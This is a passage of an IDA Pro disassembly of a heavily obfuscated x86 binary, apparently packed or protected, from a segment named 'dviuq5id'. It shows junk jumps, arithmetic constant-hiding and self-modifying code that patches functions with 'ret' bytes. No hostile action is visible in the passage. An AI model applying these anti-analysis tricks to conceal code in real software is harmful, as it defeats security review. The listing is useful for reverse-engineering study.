loc_457749:				; CODE XREF: sub_43F236+25A5j
		sbb	esi, ebx
; END OF FUNCTION CHUNK	FOR sub_43F236
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_45774B:				; CODE XREF: sub_450686-D231j
					; sub_4525D0-F172j ...
		jo	loc_4488F2
		cmp	dword ptr [ebp-4], 5
		jnz	loc_43EFF3
		jmp	loc_43EBEC
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C378

loc_457760:				; CODE XREF: sub_44C378+11j
		sub	eax, 0A227D9C1h
		mov	edx, [esp-8+arg_4]
		push	esi
		mov	esi, eax
		jmp	loc_43CD66
; END OF FUNCTION CHUNK	FOR sub_44C378
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454FB6

loc_457771:				; CODE XREF: sub_454FB6:loc_454FBFj
		mov	byte ptr [eax],	0C3h
		jmp	loc_44D7C2
; END OF FUNCTION CHUNK	FOR sub_454FB6

; =============== S U B	R O U T	I N E =======================================



sub_457779	proc near		; CODE XREF: sub_41A025+53p
					; sub_41A025+8Ep ...
		call	sub_457798
		jmp	ds:off_41D014
sub_457779	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AD42

loc_457784:				; CODE XREF: sub_459B03+Dj
		jmp	loc_43B66F
; END OF FUNCTION CHUNK	FOR sub_44AD42
; ---------------------------------------------------------------------------

loc_457789:				; CODE XREF: dviuq5id:00457F26j
		jmp	loc_45270A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450045

loc_45778E:				; CODE XREF: sub_450045+255j
		jmp	loc_43EBFE
; END OF FUNCTION CHUNK	FOR sub_450045
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45944F

loc_457793:				; CODE XREF: sub_45944F-101D9j
		jmp	loc_43A542
; END OF FUNCTION CHUNK	FOR sub_45944F

; =============== S U B	R O U T	I N E =======================================



sub_457798	proc near		; CODE XREF: dviuq5id:0044B052j
					; sub_457779p ...
		call	sub_458321

loc_45779D:				; CODE XREF: sub_4530E7-E593j
		jmp	nullsub_294
sub_457798	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459224

loc_4577A2:				; CODE XREF: sub_459224:loc_454A89j
		sub	edx, 0E16AC3FFh
		add	edx, 0D59EB804h
		push	offset sub_4410D5
		jmp	nullsub_357
; END OF FUNCTION CHUNK	FOR sub_459224
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_4577B8:				; CODE XREF: sub_44AB80+8D2Ej
		jno	loc_443C80
		jmp	loc_43A39B
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4577C3:				; CODE XREF: sub_43FA59:loc_4485F5j
		push	0AD2D9F55h
		pop	eax
		add	eax, 0DCFD64AFh
		xor	eax, 176A0FBAh
		sub	eax, 96DA19Fh
		add	eax, 6C2C9701h
		push	edx
		jmp	loc_43AFB3
; END OF FUNCTION CHUNK	FOR sub_43FA59
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4577E8:				; CODE XREF: dviuq5id:004477BCj
		jo	loc_44CCA0

loc_4577EE:				; CODE XREF: dviuq5id:loc_459DD9j
		mov	eax, offset off_457D6C
		push	edx
		push	0C2E214D6h
		pop	edx
		or	edx, 818B7A5Eh
		jmp	loc_439C78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_457805:				; CODE XREF: sub_43D181:loc_45175Cj
					; sub_43D181+1A591j
		xor	eax, eax
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-70h]
		call	sub_44F38E

loc_457812:				; CODE XREF: dviuq5id:0043F382j
		test	edi, edx
		jmp	loc_454D2E
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_457819:				; CODE XREF: sub_439E87+E216j
		ror	esi, 10h
		jmp	loc_454644
; END OF FUNCTION CHUNK	FOR sub_439E87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_457821:				; CODE XREF: sub_445A59+2EC2j
		call	sub_44864B

loc_457826:				; CODE XREF: sub_453626+Aj
		jmp	loc_43F6F4
; END OF FUNCTION CHUNK	FOR sub_445A59
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_287. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_45782C:				; CODE XREF: sub_43C3D8+C68Dj
		jmp	loc_452C5A
; END OF FUNCTION CHUNK	FOR sub_43C3D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9C6

loc_457831:				; CODE XREF: sub_44D9C6-8BF9j
		jmp	loc_44D2CB
; END OF FUNCTION CHUNK	FOR sub_44D9C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457A3C

loc_457836:				; CODE XREF: sub_457A3C-13EB4j
		jmp	loc_449B2B
; END OF FUNCTION CHUNK	FOR sub_457A3C
; ---------------------------------------------------------------------------

loc_45783B:				; DATA XREF: sub_44D9C6-48B9o
		push	ecx
		push	0A53AAE4Ch
		pop	ecx
		add	ecx, ds:4000FBh
		and	ecx, 5CD0245Ah
		rol	ecx, 18h
		xor	ecx, 0CCAAFE83h
		add	eax, ecx
		jmp	loc_442149
; ---------------------------------------------------------------------------
		mov	[edi], ebp
		cdq
		jmp	sub_451A79
; ---------------------------------------------------------------------------

loc_457866:				; CODE XREF: dviuq5id:loc_43D886j
		jz	loc_43BF54
		jmp	loc_443E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_457871:				; CODE XREF: sub_44B624-DD4Fj
					; sub_44B624-A5A5j
		add	eax, 93C53BEFh
		add	eax, ebp
		add	eax, 4C48CA4Ch
		call	sub_43B24C

loc_457884:				; CODE XREF: sub_4461D0+359Bj
		jmp	loc_44C2A4
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E421

loc_457889:				; CODE XREF: sub_43E421-1725j
		jmp	loc_4477CC
; END OF FUNCTION CHUNK	FOR sub_43E421
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450F99

loc_45788E:				; CODE XREF: sub_450F99+10Dj
		mov	ecx, edx
		xchg	ecx, [esp-0Ch+arg_8]
		call	sub_44C294
		push	50BD8E22h
		jmp	loc_4452D3
; END OF FUNCTION CHUNK	FOR sub_450F99
; ---------------------------------------------------------------------------

loc_4578A2:				; CODE XREF: dviuq5id:0044C0C6j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454E7C

loc_4578A3:				; CODE XREF: sub_454E7C+35Aj
		jmp	loc_4415CA
; END OF FUNCTION CHUNK	FOR sub_454E7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B3CA

loc_4578A8:				; CODE XREF: sub_43B3CA+Ej
		jmp	loc_439B58
; END OF FUNCTION CHUNK	FOR sub_43B3CA
; ---------------------------------------------------------------------------

loc_4578AD:				; CODE XREF: dviuq5id:0043E6E9j
		push	44622498h
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_4578B2:				; CODE XREF: sub_44084F:loc_44D7DCj
		sbb	eax, ebx
		rol	ebp, 12h
		push	edx
		jmp	loc_43C0AA
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------

loc_4578BD:				; CODE XREF: dviuq5id:loc_448DF9j
		cmp	eax, 90AAE8B4h
		jmp	loc_453C08
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	loc_4460D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EF1D

loc_4578CE:				; CODE XREF: sub_43EF1D+326Fj
		cmp	eax, 0E8A3017Fh
		jmp	loc_441808
; END OF FUNCTION CHUNK	FOR sub_43EF1D
; ---------------------------------------------------------------------------

loc_4578D9:				; CODE XREF: dviuq5id:loc_43F571j
		jns	loc_44AD6F
		push	3C416A2Ch
		jmp	loc_43C41F
; ---------------------------------------------------------------------------

loc_4578E9:				; CODE XREF: dviuq5id:0043B1EEj
		xor	ebp, edi

loc_4578EB:				; CODE XREF: dviuq5id:loc_453A92j
		push	60FAA1A5h
		pop	eax
		and	eax, 58532384h
		jmp	loc_448DF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A4C9

loc_4578FC:				; CODE XREF: sub_45A4C9:loc_457E32j
		lea	eax, [ebp-34h]
		push	eax
		mov	eax, [ebp-4]
		push	eax
		push	edi
		push	77A5A50Eh
		jmp	loc_442F66
; END OF FUNCTION CHUNK	FOR sub_45A4C9
; ---------------------------------------------------------------------------

loc_45790F:				; CODE XREF: dviuq5id:004517D5j
		sbb	eax, 50B87629h
		jb	loc_43D1EA
		mov	edi, esi

loc_45791D:				; CODE XREF: dviuq5id:loc_4517C2j
		and	esi, 77C84E83h
		add	esi, 8F0570CDh
		xchg	esi, [esp]
		jmp	loc_4429B0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_457932:				; CODE XREF: dviuq5id:004588BBj
		jmp	loc_459B62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445E83

loc_457937:				; CODE XREF: sub_44250B:loc_43B8BCj
					; sub_445E83+4j
		jmp	loc_44B757
; END OF FUNCTION CHUNK	FOR sub_445E83
; ---------------------------------------------------------------------------

loc_45793C:				; CODE XREF: dviuq5id:loc_43E78Ej
		popf
		jmp	loc_43A15E

; =============== S U B	R O U T	I N E =======================================



sub_457942	proc near		; CODE XREF: sub_44C8E3+Ap
					; dviuq5id:0044E6AFj
		xchg	ebx, [esp+0]
		pop	ebx
		push	4B1C86h
		push	95541B63h
		pop	eax
		and	eax, 564D2D15h
		sub	eax, 0DE442B54h
		jnz	loc_44A0A3

loc_457963:				; CODE XREF: dviuq5id:loc_43CCC7j
		jnz	loc_449401
		mov	ebx, 0AD5C0079h
		jmp	loc_4493FF
sub_457942	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_457973:				; CODE XREF: sub_451B18+1FDBj
		jz	loc_4426DD
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_4391AB
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_44A501
; END OF FUNCTION CHUNK	FOR sub_451B18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C592

loc_45798B:				; CODE XREF: sub_44C592+DE6Cj
		mov	esi, ebx
		xchg	esi, [esp+0]
		push	44B0BD49h
		xchg	edi, [esp+4+var_4]
		mov	ebx, edi
		jmp	loc_451E94
; END OF FUNCTION CHUNK	FOR sub_44C592

; =============== S U B	R O U T	I N E =======================================



sub_45799F	proc near		; CODE XREF: dviuq5id:004509CEj
					; sub_43BE30+1C99Ep

; FUNCTION CHUNK AT 00439DDD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00444665 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004479A1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004596F0 SIZE 00000013 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, ds:dword_446E14[eax*4]
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_449E43

loc_4579B7:				; CODE XREF: sub_450B01-6CC4j
					; dviuq5id:004587C3j
		js	loc_439DDD
		cmp	dword ptr [ebp-1Ch], 0Fh
		jmp	loc_444665
sub_45799F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_4579C6:				; CODE XREF: sub_43E10E:loc_452EE8j
		or	ebx, 0F732EA33h
		jmp	sub_446C52
; END OF FUNCTION CHUNK	FOR sub_43E10E

; =============== S U B	R O U T	I N E =======================================



sub_4579D1	proc near		; DATA XREF: dviuq5id:00453560o

; FUNCTION CHUNK AT 0043D00E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043FE56 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447869 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450D75 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004544DF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00459909 SIZE 00000006 BYTES

		push	78CF5B8Bh
		pop	edi
		and	edi, 0BEA66D7Fh
		rol	edi, 4
		sub	edi, 881EC359h
		cmp	edi, 3D7EDF2Fh
		jmp	loc_447869
sub_4579D1	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F285

loc_4579F2:				; CODE XREF: sub_43F285:loc_451D0Fj
		jbe	loc_44969B
		xchg	esi, [eax]
		cmp	ecx, edi
		jmp	loc_45286C
; END OF FUNCTION CHUNK	FOR sub_43F285
; ---------------------------------------------------------------------------

loc_457A01:				; DATA XREF: sub_449485-CA53o
		push	66C0DD11h
		xchg	esi, [esp]
		mov	ecx, esi
		pop	esi
		jmp	loc_44886C
; ---------------------------------------------------------------------------

locret_457A11:				; CODE XREF: dviuq5id:0044AA3Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456EE5

loc_457A12:				; CODE XREF: sub_456EE5-458Cj
		jmp	loc_43ED95
; END OF FUNCTION CHUNK	FOR sub_456EE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_457A17:				; CODE XREF: sub_44460F-30A6j
		jmp	loc_44C4BD
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------

loc_457A1C:				; CODE XREF: dviuq5id:0043D7F8j
		jmp	loc_43ADAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_457A21:				; CODE XREF: sub_454094:loc_441622j
		jnz	loc_442BC6
		jmp	loc_45646F
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_457A2C:				; CODE XREF: sub_43C9A9+10C27j
		jno	loc_44080F
		mov	edi, 0A53C910h
		jmp	sub_43DADC
; END OF FUNCTION CHUNK	FOR sub_43C9A9

; =============== S U B	R O U T	I N E =======================================



sub_457A3C	proc near		; DATA XREF: dviuq5id:00451AAAo

; FUNCTION CHUNK AT 00443B70 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00444A3B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00449B2B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044EF0C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045236D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455F4B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457836 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045841F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004584BA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00459D4C SIZE 00000006 BYTES

		add	edx, 0B6974947h
		mov	edx, [edx]
		shr	edx, 3
		push	5865F840h
		adc	ecx, 0EB800C7Dh
		jmp	loc_444A3B
sub_457A3C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_457A57:				; CODE XREF: sub_454267:loc_456333j
		jnz	loc_43F1F9
		jmp	loc_43FDA2
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------

loc_457A62:				; DATA XREF: sub_451BB7-5E9Ao
		xchg	ecx, [esp]
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jno	loc_43FCF6
		sub	al, 99h
		jmp	loc_44E1C9
; ---------------------------------------------------------------------------
		push	offset sub_447C0B
		jmp	locret_450153
; ---------------------------------------------------------------------------

loc_457A87:				; CODE XREF: dviuq5id:loc_457C6Aj
		mov	eax, [esp]
		push	edx
		call	sub_43A201
		push	0F02CA30Eh
		jmp	loc_44489C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456002

loc_457A9A:				; CODE XREF: sub_456002-1C3D0j
		jz	loc_43D999

loc_457AA0:				; CODE XREF: dviuq5id:00445D37j
		jmp	nullsub_296
; END OF FUNCTION CHUNK	FOR sub_456002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_457AA5:				; CODE XREF: sub_440C61-61EDj
		jmp	loc_43E657
; END OF FUNCTION CHUNK	FOR sub_440C61
; ---------------------------------------------------------------------------
		cmp	esi, ebx
		jmp	loc_441384
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4413F5

loc_457AB1:				; CODE XREF: sub_4413F5+8j
		jz	loc_44203B
		jmp	loc_44E555
; END OF FUNCTION CHUNK	FOR sub_4413F5
; ---------------------------------------------------------------------------

loc_457ABC:				; DATA XREF: sub_44A33D+10o
		xor	eax, eax
		push	esi
		push	0CAA2FE6Eh
		pop	esi

loc_457AC5:				; CODE XREF: dviuq5id:00444C26j
		sub	esi, 0A0651C10h
		xor	esi, 658D35D1h
		jmp	loc_4390F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454117

loc_457AD6:				; CODE XREF: sub_454117+Fj
		jg	loc_43F683
		jmp	loc_44C8D9
; END OF FUNCTION CHUNK	FOR sub_454117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_457AE1:				; CODE XREF: sub_446682:loc_445739j
					; dviuq5id:004495F5j
		sub	eax, 0FFF22B61h
		add	eax, 7E70A22Bh
		push	offset sub_44FF3E
		jmp	nullsub_297
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_457AF7:				; CODE XREF: sub_44D022:loc_4434C8j
		add	ebp, 0EB9B3CF4h
		jmp	loc_45537C
; END OF FUNCTION CHUNK	FOR sub_44D022

; =============== S U B	R O U T	I N E =======================================



sub_457B02	proc near		; DATA XREF: dviuq5id:loc_4518B1o
		pop	ebx
		lea	eax, nullsub_474
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_474
sub_457B02	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_457B11:				; CODE XREF: dviuq5id:loc_4481FDj
		mov	eax, [esp]
		push	edx
		call	sub_444F0F
		jmp	loc_44B176
; ---------------------------------------------------------------------------

loc_457B1F:				; CODE XREF: dviuq5id:0044CE9Ej
		jnz	loc_44E537
		jmp	loc_4555F1

; =============== S U B	R O U T	I N E =======================================



sub_457B2A	proc near		; CODE XREF: sub_4590B1j
					; DATA XREF: sub_44C50A+CB91o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439976 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AC65 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043B65B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FE32 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004459D7 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004507F8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00455301 SIZE 00000005 BYTES

		shl	al, cl
		push	8647EE2Ah
		xchg	ecx, [esp+4+var_4]
		not	edx
		jmp	loc_439976
sub_457B2A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_457B3B:				; CODE XREF: sub_43EB11:loc_446818j
		jz	loc_45633D
		jmp	loc_450279
; END OF FUNCTION CHUNK	FOR sub_43EB11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4437F7

loc_457B47:				; CODE XREF: sub_4437F7-8894j
		or	edx, 0D5B583A8h
		add	edx, 0CA8387C8h
		js	loc_43BF09
		popf
		js	loc_44A49E
		jmp	loc_442CAF
; END OF FUNCTION CHUNK	FOR sub_4437F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44549E

loc_457B65:				; CODE XREF: sub_44549E-592Bj
		pop	eax
		sub	eax, 0C5D86B3Fh
		add	eax, 27F9C058h
		or	eax, 23567D5h
		add	eax, 58428811h
		popf
		call	sub_44A438
; END OF FUNCTION CHUNK	FOR sub_44549E
; START	OF FUNCTION CHUNK FOR sub_44C4E2

loc_457B84:				; CODE XREF: sub_44C4E2+C926j
		jmp	sub_443481
; END OF FUNCTION CHUNK	FOR sub_44C4E2
; ---------------------------------------------------------------------------

loc_457B89:				; CODE XREF: dviuq5id:00451C02j
		jmp	loc_43EB8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD5

loc_457B8E:				; CODE XREF: sub_43CBD5+4CE2j
		jmp	loc_44650F
; END OF FUNCTION CHUNK	FOR sub_43CBD5
; ---------------------------------------------------------------------------

loc_457B93:				; CODE XREF: dviuq5id:00447665j
					; dviuq5id:00451E84j
		or	edx, eax

; =============== S U B	R O U T	I N E =======================================



sub_457B95	proc near		; CODE XREF: sub_43A6DC+Ap

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004479A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A547 SIZE 00000006 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_45A04B
		pop	edx
		xchg	ebx, [esp-8+arg_4]
		mov	eax, ebx
		pop	ebx
		jmp	loc_4479A6
sub_457B95	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		or	eax, 348AF5D2h
		jmp	sub_454088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45169D

loc_457BB5:				; CODE XREF: sub_45169D:loc_441403j
		add	eax, [esp+0]
		call	sub_452E67
		or	ecx, 9FF42276h
		jmp	sub_44F6A9
; END OF FUNCTION CHUNK	FOR sub_45169D
; ---------------------------------------------------------------------------
		mov	edi, 2161DDC5h
		jmp	sub_4543C5

; =============== S U B	R O U T	I N E =======================================



sub_457BD2	proc near		; CODE XREF: dviuq5id:00444736p
					; dviuq5id:00459615j
		xchg	esi, [esp+0]
		pop	esi
		push	eax
		push	0C9C19D5Fh
		pop	eax
sub_457BD2	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_457BDD:				; CODE XREF: sub_44B99E:loc_44246Ej
		add	eax, 0AABF0F83h
		rol	eax, 16h
		xor	eax, 2B0E46A7h
		jmp	loc_458FD4
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_457BF1:				; CODE XREF: sub_43BA0E+12557j
		jge	loc_441462
		not	ebx
		adc	ebp, 39996589h
		jmp	loc_4548A7
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_457C04:				; CODE XREF: sub_44C6B8-1251Dj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4467AE

loc_457C06:				; CODE XREF: sub_4467AE+7j
		jmp	nullsub_303
; END OF FUNCTION CHUNK	FOR sub_4467AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_457C0B:				; CODE XREF: sub_439013:loc_439AC1j
					; dviuq5id:0044B289j
		mov	byte ptr [ebp-5], 0
		jmp	loc_43C1DF
; END OF FUNCTION CHUNK	FOR sub_439013

; =============== S U B	R O U T	I N E =======================================



sub_457C14	proc near		; CODE XREF: dviuq5id:0043A7F1p
					; sub_441881+B5B9j

; FUNCTION CHUNK AT 0043912F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459F22 SIZE 0000000C BYTES

		mov	eax, 11h
		push	ebx
		push	685F19E3h
		pop	ebx
		rol	ebx, 1Dh
		jmp	loc_43912F
sub_457C14	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	0D911C528h
		jmp	loc_43C5CB
; ---------------------------------------------------------------------------
		push	esi
		push	0C59A83F0h
		pop	esi
		rol	esi, 17h
		jmp	loc_4427F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_457C41:				; CODE XREF: sub_459385+4j
		mov	edx, ecx
		xchg	edx, [esp+0]
		cmp	ds:dword_44DF0C, 0
		jnz	loc_442E71
		jmp	loc_43C021
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------

loc_457C58:				; DATA XREF: sub_441CEF+13o
		xchg	ebp, [esp]
		mov	ecx, ebp
		pop	ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458AF1

loc_457C60:				; CODE XREF: sub_458AF1+12j
		jmp	loc_449100
; END OF FUNCTION CHUNK	FOR sub_458AF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_457C65:				; CODE XREF: sub_44514D+10099j
		jmp	loc_43C3C1
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------

loc_457C6A:				; CODE XREF: dviuq5id:0045361Bj
		jmp	loc_457A87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_457C6F:				; CODE XREF: sub_43F4F8+12151j
		jmp	loc_459C6F
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; ---------------------------------------------------------------------------

loc_457C74:				; CODE XREF: dviuq5id:loc_4561BFj
		call	sub_452E82
; START	OF FUNCTION CHUNK FOR sub_450407

loc_457C79:				; CODE XREF: sub_450407+6309j
		jmp	loc_444635
; END OF FUNCTION CHUNK	FOR sub_450407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443304

loc_457C7E:				; CODE XREF: sub_443304+2850j
		jmp	nullsub_299
; END OF FUNCTION CHUNK	FOR sub_443304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44864B

loc_457C83:				; CODE XREF: sub_44864B-3D14j
		jmp	loc_44FAE0
; END OF FUNCTION CHUNK	FOR sub_44864B

; =============== S U B	R O U T	I N E =======================================



sub_457C88	proc near		; CODE XREF: sub_456B31-14240j
					; dviuq5id:0044531Bp
		xchg	ebx, [esp+0]
		pop	ebx
		lea	eax, sub_450377
		mov	byte ptr [eax],	0C3h
		jmp	sub_450377
sub_457C88	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450377

loc_457C9A:				; CODE XREF: sub_450377:loc_44FA1Bj
		mov	eax, [esp+0]
		push	edx
		jmp	loc_43CD12
; END OF FUNCTION CHUNK	FOR sub_450377

; =============== S U B	R O U T	I N E =======================================



sub_457CA3	proc near		; DATA XREF: dviuq5id:0045734Eo
		xchg	edi, [esp+0]
		jmp	loc_452CED
sub_457CA3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_457CAB:				; CODE XREF: sub_440C61:loc_440BD2j
		call	sub_453642
		push	eax
		and	eax, ebp
		jmp	loc_450925
; END OF FUNCTION CHUNK	FOR sub_440C61

; =============== S U B	R O U T	I N E =======================================



sub_457CB8	proc near		; CODE XREF: sub_43F9E7+4003j
					; sub_44E30F-190Ep

; FUNCTION CHUNK AT 0043EB4F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044F624 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454250 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	edx, 346073h
		mov	[edx], eax
		pop	edx
		jmp	loc_454250
sub_457CB8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45147D

loc_457CCA:				; CODE XREF: sub_45147D+Dj
		or	ebx, 0DEAD2C0Bh
		sub	ebx, 0DEF32AD5h
		and	ebx, 5A38534Bh
		add	ebx, 0C075D03Ah
		xor	ebx, 9BDBC94Ah
		jmp	loc_4403D7
; END OF FUNCTION CHUNK	FOR sub_45147D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458B23

loc_457CED:				; CODE XREF: sub_458B23:loc_457674j
		xor	ecx, 0A54B8630h
		test	ecx, 20h
		jmp	loc_4407EE
; END OF FUNCTION CHUNK	FOR sub_458B23
; ---------------------------------------------------------------------------
		cmp	edi, 0D0FCD8ADh
		jmp	loc_43B6BD
; ---------------------------------------------------------------------------

locret_457D09:				; CODE XREF: dviuq5id:loc_43EBBAj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_457D0A:				; CODE XREF: sub_44E1C0-6A6Bj
		jmp	loc_450A47
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440405

loc_457D0F:				; CODE XREF: sub_440405+Bj
		jmp	loc_43D96D
; END OF FUNCTION CHUNK	FOR sub_440405
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AE68

